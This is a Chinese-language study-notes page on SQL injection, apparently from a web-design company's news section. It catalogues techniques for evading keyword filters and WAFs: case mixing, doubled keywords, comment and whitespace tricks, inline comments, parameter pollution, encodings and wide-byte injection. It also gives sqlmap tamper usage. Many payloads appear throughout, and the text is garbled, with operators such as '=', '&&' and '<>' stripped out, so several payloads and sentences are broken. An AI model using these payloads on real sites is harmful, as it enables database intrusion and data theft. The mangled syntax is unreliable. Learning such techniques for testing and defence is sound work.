ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

SQL注入之绕过过滤与WAF绕过学习笔记

SQL注入之绕过过滤与WAF绕过学习笔记 一、绕过过滤在真实环境中目标网站通常会有不同程度的防御措施。常见的防御手段包括输入过滤如过滤SELECT、UNION、WHERE等关键字、转义特殊字符如addslashes转义单引号和双引号、WAF规则拦截、参数类型限制如强制id为数字类型以及长度限制如输入框限制长度。在这些防御措施存在的情况下之前学到的标准注入语句可能会被拦截或失效这就需要对Payload进行变形、编码、拆分等处理绕过这些过滤机制。二、SQL关键字绕过方法大小写绕过很多简单的过滤规则只检查特定字符串且区分大小写。例如原始Payload为 SELECT * FROM users WHERE username ‘admin’可以变形为 SeLeCt * FrOm users WhErE username ‘admin’UnIoN SeLeCt 1,2,3 也能绕过仅匹配小写的过滤器。这种方法对正则表达式 /(select|union|where)/i不区分大小写无效但对简单的字符串查找函数如PHP的 strpos 或 str_replace有效。双写绕过某些过滤规则会将匹配到的关键字替换为空且只执行一次替换。这时可以采用双写的方式例如将 UNION 写成 UNIUNIONON过滤时去掉中间的 UNION剩下的又拼成了 UNION。同理 SELSELECECTT 去掉 SELECT 后还是 SELECTAND 可以写成 AANDND。这种方法只对执行单次替换的过滤器有效如果递归替换则无效。空格绕过SQL语句中空格不是必须的可以使用多种字符代替空格包括注释符 /**/、换行符 %0a、回车符 %0d、制表符 %09、垂直制表符 %0b 以及括号 ()。SELECT 和 UNION 之间可以通过注释 // 代替空格例如 UNION//SELECT。在 WHERE 条件中id1//AND//11 也可以正常工作。%0a 换行符也可以作为分隔符使用例如 id1%0aAND%0a11。括号在特定场景中可以替代空格例如 SELECT(id)FROM(users)WHERE(id1)。内联注释绕过MySQL特有的内联注释 /! …/ 中的SQL语句会被正常执行。例如 /!50000UNION/ SELECT 1,2,3其中 50000 表示版本号只有当MySQL版本高于5.00时才会执行这段代码。如果去掉版本号写为 /!UNION/ SELECT也可以绕过某些过滤规则。内联注释还可以配合其他绕过方法使用如 /!50000UNION/**/SELECT/。三、等价函数与符号替换字符串截取函数替换用于布尔盲注和时间盲注中的字符串处理函数有多种可替换方案。substr() 可以替换为 substring()、mid() 或 left()。ascii() 可以替换为 ord() 或 hex()。length() 可以替换为 char_length() 或 bit_length()。例如 ascii(substr(database(),1,1)) 可以改写为 ord(mid(database(),1,1))也可以使用 hex(database()) 配合比较判断left(database(),1) 获取第一个字符right(database(),1) 获取最后一个字符。逻辑运算符替换AND 可以用 替代OR 可以用 || 替代 可以用 LIKE、IN、REGEXP 或 BETWEEN 替代。例如 id1 AND 11 可以改写为 id1 11username‘admin’ OR ‘1’‘1’ 改写为 username‘admin’ || ‘1’‘1’ascii(substr(database(),1,1))109 改写为 ascii(substr(database(),1,1)) LIKE 109。字符串拼接替换在某些场景下可以用 CONCAT()、CONCAT_WS() 或 GROUP_CONCAT() 替代直接字符串比较。例如 ‘admin’ 可以写成 CONCAT(‘a’,‘dm’,‘in’)‘root’ 可以写成 CONCAT_WS(‘’,‘ro’,‘ot’)‘password’ 写成 CONCAT(‘pa’,‘sswo’,‘rd’)。这种方法可以绕过对特定字符串的过滤。比较操作符替换 可以用 、!、、、LIKE、IN、BETWEEN 替代。对于数字比较id1 可以写成 id0 id2ascii(…) 109 可以写成 ascii(…) between 108 and 110。四、注释符绕过单行注释– 和 # 是最常用的单行注释符。在URL编码中# 可能被浏览器忽略建议使用 %23。对于 – 注释需要在后面加一个空格-- 才能生效在URL中可以使用 --%20。如果 – 和 # 都被过滤可以尝试使用 ; 结束当前语句或者使用 %00 截断例如 id1’ or 11 %00。多行注释// 是最常用的多行注释符可以替代空格也可以注释掉一段SQL代码。例如 id1//union//select//1,2,3。嵌套注释 /!50000…/ 已经被介绍过这里不再赘述。HPPHTTP参数污染绕过在某些WAF中如果同一个参数出现多次WAF可能只检查第一个参数值而后端可能取最后一个参数值。例如 ?id1id1’ union select 1,2,3WAF检查第一个 id1 认为正常后端取最后一个 id1’ union select 1,2,3 执行注入。不同Web服务器对重复参数的处理方式不同需要根据实际环境尝试。五、编码绕过URL编码绕过单引号 ’ 可以编码为 %27空格编码为 %20# 编码为 %23 编码为 %3DUNION 编码为 %55%4E%49%4F%4E。双重URL编码有时也能绕过WAF例如 %2527 经过一次解码变为 %27再次解码变为 。Unicode编码绕过某些WAF对Unicode编码处理不完善可以利用Unicode编码绕过。例如单引号 ’ 可以编码为 %u0027 或 %u02B9。在MySQL中%uff01 在某些环境下也可以替代感叹号。多字节编码如GBK的宽字节注入已经在前面的章节中详细讲解过。Base64编码绕过如果目标对输入进行了Base64解码那么可以在注入点中使用Base64编码的Payload。在某些Cookie注入场景中Cookie值本身就是Base64编码的修改后需要进行相应的编码。六、WAF绕过实战案例案例一绕过过滤UNION和SELECT的WAF目标WAF过滤了 UNION 和 SELECT 关键字且大小写敏感。使用内联注释加大小写混合/!50000UnIoN/ SeLeCt 1,2,3。如果WAF只检查 UNION SELECT 这种标准写法这个Payload可能绕过。使用换行符分隔UNION%0aSELECT 1,2,3WAF可能认为 UNION%0aSELECT 不是合法的SQL关键字而MySQL可以正常执行。案例二绕过过滤空格的WAF目标WAF将空格替换为空。使用注释符代替空格id1//UNION//SELECT/**/1,2,3。使用制表符id1%09UNION%09SELECT%091,2,3。使用括号UNION(SELECT(1),(2),(3))。使用换行id1%0aUNION%0aSELECT%0a1,2,3。案例三绕过过滤单引号的WAF目标使用 addslashes() 转义单引号。使用十六进制编码table_name0x75736572users的十六进制。使用宽字节注入%df’ 绕过转义。使用 CHAR() 函数CHAR(117,115,101,114,115)。使用双引号如果后端SQL也支持双引号字符串。案例四绕过数字型注入的强制类型转换目标代码使用 intval() 或 (int) 强制将id转换为数字类型。如果注入点被强制转换为数字字符串型Payload无法使用。但可以使用数字型注入的经典Payloadid1 AND 11id1 AND 12 来判断注入点。如果过滤了 AND 和 OR可以使用 id1 11id1 || 12或者使用 id1 和 id1-1 这种算术运算来判断。七、绕过过滤的自动化工具sqlmap的tamper脚本sqlmap提供了大量的tamper脚本用于绕过过滤和WAF。常用tamper脚本包括space2comment 将空格替换为注释符 /**/space2hash 将空格替换为 # 加换行between 将 替换为 BETWEENgreatest 将 替换为 GREATESTifnull 将 IFNULL 相关语句替换modsecurityversioned 使用MySQL版本注释绕过ModSecuritycharencode 对Payload进行URL编码charunicodeescape 对Payload进行Unicode编码。使用方式为 sqlmap -u “http://target.com?id1” --tamperspace2comment,between可以同时使用多个tamper脚本。
返回列表